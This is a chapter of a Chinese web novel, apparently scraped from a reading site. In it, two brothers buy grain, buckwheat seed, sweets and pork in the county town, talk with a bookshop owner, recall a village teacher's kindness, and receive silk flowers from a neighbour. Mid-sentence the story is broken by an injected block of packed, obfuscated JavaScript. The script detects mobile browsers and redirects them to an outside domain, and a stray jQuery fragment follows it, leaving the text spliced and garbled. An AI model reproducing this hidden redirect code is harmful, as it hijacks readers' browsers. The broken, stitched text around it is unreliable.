“秦登科的一个酒友,就住在隔壁何家村。”
秦高瞰不掩饰自己对这个人的不喜,“他脸色那么红润,不像是拉肚子的样子,怎么会来买治疗腹泻的药?”
“可能是家人生病了。”
秦高瞻回头看了眼,并未找到弟弟说的那人。
“他对家人小气得很,上到爹娘下到孩子生病,都只会骂媳妇,不会给钱买药。”
“这样啊。”
秦高瞻有个猜测,不过没有证据,便没说出来。
“好了,他的事与我们无关,还是快些去买粮。”
两人去了粮店,买了两斗的陈粮,花了八十文,又买了一斗苦荞麦,花了五十文。
“一亩田大概需要撒种一升荞麦,又可能遇到意外需要补种,买一斗比较合适,”秦高瞻解释,“就算没用完,剩下的我们吃了就行。”
“嗯!”
尽管心疼花出去的钱,可背篓重新沉甸甸后,秦高瞰心里只余下开心了。
他们家又多了不少粮食!
“哥,我们回去吧。”
“不急,难得来县里一趟,我们逛逛。”
这一逛,秦高瞰便眼睁睁看着哥哥买了十五文钱的红糖,又买了十五文的糕点。
“红糖水对身体好,以前爹娘不常给我们化红糖水喝吗?”
发现弟弟眼睛都直了,秦高瞻好笑的解释,“至于糕点,你忘啦,马上就是你和阿琼的生日,我特地选了长寿糕,还是说你不喜欢,那我现在去买白面,咱们自己擀面做长寿面。”
他不会做手工面,印象中弟弟妹妹也没做过,才没买白面。
“不了不了,这些就够了。”秦高瞰想到白面的价格就头皮发麻。再看那各式各样的糕点,心头又暖乎乎。
被家人惦记关怀的感觉真好。
等秦高瞻买了十文的纸钱时,他一言不发。是啊,清明将近,要去祭拜爹娘了。
路过书坊时,秦高瞻被叫住。
回头看到熟悉的面孔时,秦高瞻忙道,“唐叔。”
唐老板朝他招招手,待人走近了才问,“听说你生了场病,现在可好了?”
“已经痊愈了,谢谢唐叔关心。”
秦高瞻安静等着,果然,下一息唐老板便问他何时可以接活回家抄书。
“之前生病耽误了农耕,这几个月怕是要一直忙着地里的事,”在唐老板皱眉时,秦高瞻话锋一转,“不过我认识一些书生,到时把他们的字帖拿来给您看看,若您有看中的,将活计转给那人可行?”
见唐老板迟疑,他补充,“当然,酬劳和我相当。”
“那行,看在你的面子上,拿几份字帖来看看。我信得过你,你先挑挑。”
秦高瞻笑着应了。
待转去别的街道,秦高瞰有些兴奋道,“哥,你真厉害,连书坊的老板都给你面子。”
“阿瞰,你还真信老板的话?真正让他心动的是价格。”
有了挖药的收入后,抄书的三瓜两枣就不划算了。而且白日干活,他晚上只想睡觉,点油灯抄书又费油费眼。
可直接拒绝唐老板也不合适,毕竟当初是唐老板在无人担保的情况,同意让他带着书籍和纸张回家试试。
“能在县私塾读书的学子大多家境优渥,”秦高瞻细细和弟弟解释,“就算有那么几个想抄书赚些花费,要价也高。”
后者是他自己猜测的,之前唐老板也是因为价格才松口。
“抄书只需要字迹工整并不难看就行,县私塾的学子能胜任,村学的学子也能胜任,后者更划算。”
秦高瞰‘嗷’了声,总结道,“原来商人喜欢说漂亮话。话说得好听,又不吃亏。”
“是这个理。”
“哥,你打算介绍谁去?村里那些读书的人你好像都没接触了,而且个别几个你千万别心软介绍他们去。”
想到往事,秦高瞰就咬牙切齿。
秦高瞻知道他想起了哪件事。
原身六岁在村学开蒙,读了三年书后秦家分家,被送到县里读书,两年后因为爹娘去世接手家里的田地,偶尔接些抄书的活计。
一次原身给书坊送书时,遇到了村塾里唯一的教学先生李夫子。李夫子怜惜原身的际遇,欣赏他的才华,看他选择抄书,认为他对读书科考还有眷念,便提议私下单独布置些课业,每隔几日将课业送去批阅。
这话的意思是不收束脩了。
村塾比县里的私塾便宜,按年收费,一年也快一两,也可以折算成粮食。
他们家拿不出来,秦高瞻更不可能不管田地和弟妹坐在学堂里读书。
李夫子的提议切合实际,原身激动应下的同时,其实也有给夫子送些粮食和蔬菜,对方批阅指点得也很用心。
只是一段时间后,这件事被学堂的一个学子发现了。因为很久之前被拿来和秦高瞻比较过还落了下风,那学子便宣扬开,不少学子和家长都有意见了。有的人还趁机博取同情,也希望夫子不收束脩。
别看李夫子一年一个孩子能收近一两的学费,可一来村里不是家家户户都让孩子读书,二来他的妻子体弱,不能种田只能做些绣品赚些钱,可偏偏他们家的儿子多病,甚至不良于行,每年的医药钱很高。李家一年也攒不了多少钱。
原身不想夫子为难,果断站出来表示是自己厚脸皮缠着夫子,如今知道这样不对,日后再也不去寻夫子了,这件事才结束。
即便后来在村里遇见,李夫子提议送课业时更隐秘些,原身也没同意,表示自己已经断了读书的念想。
“我心里有数,”见弟弟气呼呼,秦高瞻拍了拍他的头,“我没那么大方,记得别人的好,也会记得别人做过的那些事。不过我比较喜欢有仇当场就报。”
那学子对此有意见,其他人也不允许夫子免费教秦高瞻,可以理解。唯一不妥的是,不该趁机让夫子减免费用。大家没考虑过一点,如果夫子在梨花村教学养不活家人,会选择离开,到时上哪儿再找一个秀才过来?
梨花村不是大村,也比不上隔壁何家村富裕,何家村的村学甚至有两个秀才坐镇,都比得上县里一些小私塾了。
因此原身对那学子和曾指责他的家长没太大意见。
秦高瞰则是想到两次吃败仗的秦登科,心情转好,“没错,哥你有仇都是当场就报,这样很好,以后继续保持。”
“心情好啦?那咱们去肉铺看看。”
“啊?”
秦高瞰苦着脸跟着大哥走。
出门时他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763575|174491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把家里余下的五十文也带上了,虽说收入增加,可紧接着花了一百七十文,再把来回的车费和入城费算上,只余下两百零六文了。
他也说不出别买肉这种话。
就算才吃了鸡,每日也吃鸡蛋,他们一家还是瘦巴巴缺油水的样子。
最重要的是,就算他反对,大哥也能想到理由说服他。
那还是免去这个过程吧。
弟弟一言不发,秦高瞻便自由发挥了。
到了猪肉铺子,他将每个部位都问了价。五花肉最贵,要十八文一斤,梅花肉、腿肉等次之,肋排还要便宜一点,下水都是一个价,八文一斤,剃得干干净净的猪大骨最便宜,两文一斤。
秦高瞻买了半斤五花肉,两斤猪肝和一些大骨,花了三十文。
“好了,回去吧。”
秦高瞰忙说:“放我这边吧。”
秦高瞻没拒绝,他背篓里放了更多的粮,的确有些重。
两人顺势整理了下背篓,拿特地带来的麻布将背篓盖好,这才朝城门走去。
走出一段距离时,又被人叫住。
“瞻哥儿,有个事麻烦你。”
周春燕追过来,站稳平复呼吸,“我今天要见的人有点多,谈完了估计城门关了回不去,麻烦你和我家昌茂说声。”
“这个没问题,只是周婶,你晚上住哪?”
“我一个朋友家。”
周春燕指了指不远处一个准备摆摊卖货的中年女人。
秦高瞻又问了那人的名字和住处,这才点点头。
周春燕笑了,从提着的包袱里掏出两朵绢花。
“带回去给你妹妹们吧。”
这时,秦高瞻已经看到那个中年女人拿出一个木牌,上边写清了不同绢花发带还有毽子的价格,字迹铁画银钩。
有的人冲着这字都会停下来看一眼。
按照标价,绢花根据款式和花色分别是三到八文不等,发带则是一文到四文不等。
周春燕送的这两朵应该是四文一朵。
仔细看,做工相对粗糙,款式也不复杂,比不上那些大店铺精心制作的,不过两者制作的原料、流程以及花费的时间肯定完全不同,顾客群体也不同。
“婶子你太客气了,传个话而已。”
秦高瞻不肯收,“您之前不也帮了我们?”
不管是他去村长家前的提醒,还是在牛车上帮忙说话,没准等牛车时,周春燕问何叔出发时间,都是在帮他们解围。
秦高瞰不住的点头,“婶子你别客气。”
“那这样,你们拿鸡毛去我家换绢花发带如何?”
周春燕眨眼,“你们家应该有新鲜的鸡毛。”
说着,将绢花塞到秦高瞻手里,快步走了。
秦高瞻无奈。就算送鸡毛过去,还是他们占便宜了。
以及,村里是一点秘密都没有啊,他们家宰个鸡,都能从村这头传到那头。
“哥,现在怎么办?”
秦高瞻将绢花收起来,“先回去吧,鸡毛不够,我们还可以送些菜。”
“那行。”
没在城门口找到何叔,秦高瞻两人是坐隔壁村一人的牛车,又在道路岔口下车,背着沉甸甸的背篓,慢吞吞回家。